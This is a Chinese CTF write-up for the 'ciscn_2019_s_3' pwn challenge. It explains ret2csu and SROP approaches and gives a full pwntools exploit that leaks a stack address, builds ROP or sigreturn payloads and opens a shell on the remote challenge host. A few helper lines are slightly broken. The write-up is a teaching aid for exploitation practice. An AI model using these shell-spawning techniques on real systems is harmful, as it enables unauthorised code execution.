解法
这题有两种解法
ret2csu
.text:00000000004004E2 mov rax, 3Bh ; ‘;’
.text:00000000004004E9 retn
程序中白给了一段gadgets,0x3b刚好对应execve,我们就可以调用它,然后通过rop构造另外三个参数
/bin/sh,0,0
分别对应rdi, rsi, rdx
leak addr
首先我们通过sys_read
读入字符串,但是我们不知道其位置,只知道是在栈上,于是我们就要泄漏栈地址并且拿到字符串输入的地址
这里我们可以通过gdb可以发现,我们输入的地址距离栈基址的偏移是固定的0x118
write打印出0x30个字节,可以看出从低地址开始打印0x20个字节后0x8就是栈基址,所以我们构造
payload1 = b'/bin/sh\x00' + b'b' * 8 + p64(vul_addr) sd(payload1) rv(0x20) bin_sh = u64(rv(8)) - 0x118 ms('bin_sh', bin_sh)
|
来泄漏出输入/bin/sh的地址,并且返回到vul函数,进行再一次的利用
csu
之后就是打csu的部分了,这里可以去wiki上学习下或者参考其他师傅的wp
exp
from pwn import *
context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h'] elf = ELF('./ciscn_2019_s_3') libc = ELF('/lib/i386-linux-gnu/libc.so.6')
io = remote('node4.buuoj.cn', 29397) sl = lambda s : io.sendline(s) sd = lambda s : io.send(s) rv = lambda n : io.recv(n) rc = lambda : io.recv() ru = lambda s : io.recvuntil(s)
def ms(name,addr): print(name + "---->" + hex(addr))
def debug(mallocr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print }}'".format(p.pid)).readlines()[1], 16) gdb.attach(io,'b *{}'.format(hex(text_base+mallocr))) else: gdb.attach(io,"b *{}".format(hex(mallocr)))
vul_addr = 0x0000000004004ED pop6_ret = 0x00000000040059A mov3_call = 0x0000000000400580 execve_call = 0x00000000004004E2 sys_call = 0x0000000000400517 pop_rdi_ret = 0x00000000004005a3
payload1 = b'/bin/sh\x00' + b'b' * 8 + p64(vul_addr) sd(payload1) rv(0x20) bin_sh = u64(rv(8)) - 0x118 ms('bin_sh', bin_sh)
payload2 = b'/bin/sh\x00' + b'a' * 8 + p64(pop6_ret) payload2 += p64(0) * 2 + p64(bin_sh+0x50) + p64(0) * 3 payload2 += p64(mov3_call) + p64(execve_call) payload2 += p64(pop_rdi_ret) + p64(bin_sh) + p64(sys_call) sd(payload2)
io.interactive()
|
SROP
signal机制
- 用户进程接到一个signal,将控制权给到内核层
- 内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及signal信息和sigreturn的系统调用地址,之后跳转到注册过的 signal handler 中处理相应的 signal
- 执行完signal handler,就跳转到内核层
- 内核恢复2中保存的进程上下文,并把控制权给到用户层
攻击思路
我们可以在恢复进程上下文的时候,构造一个fake_SigFrame,就能控制寄存器来劫持程序流程
对于ctf题pwntools里是集成了框架,如上题
sigreturn = 0x00000000004004DA
frame = SigreturnFrame() frame.rax = 59 frame.rdi = bin_sh frame.rsi = 0 frame.rip = sys_call payload2 = b'/bin/sh\x00' + p64(0) + p64(sigreturn) + p64(sys_call) + bytes(frame) sd(payload2)
|
只需要改payload2那一部分,要注意指定context.arch = "amd64"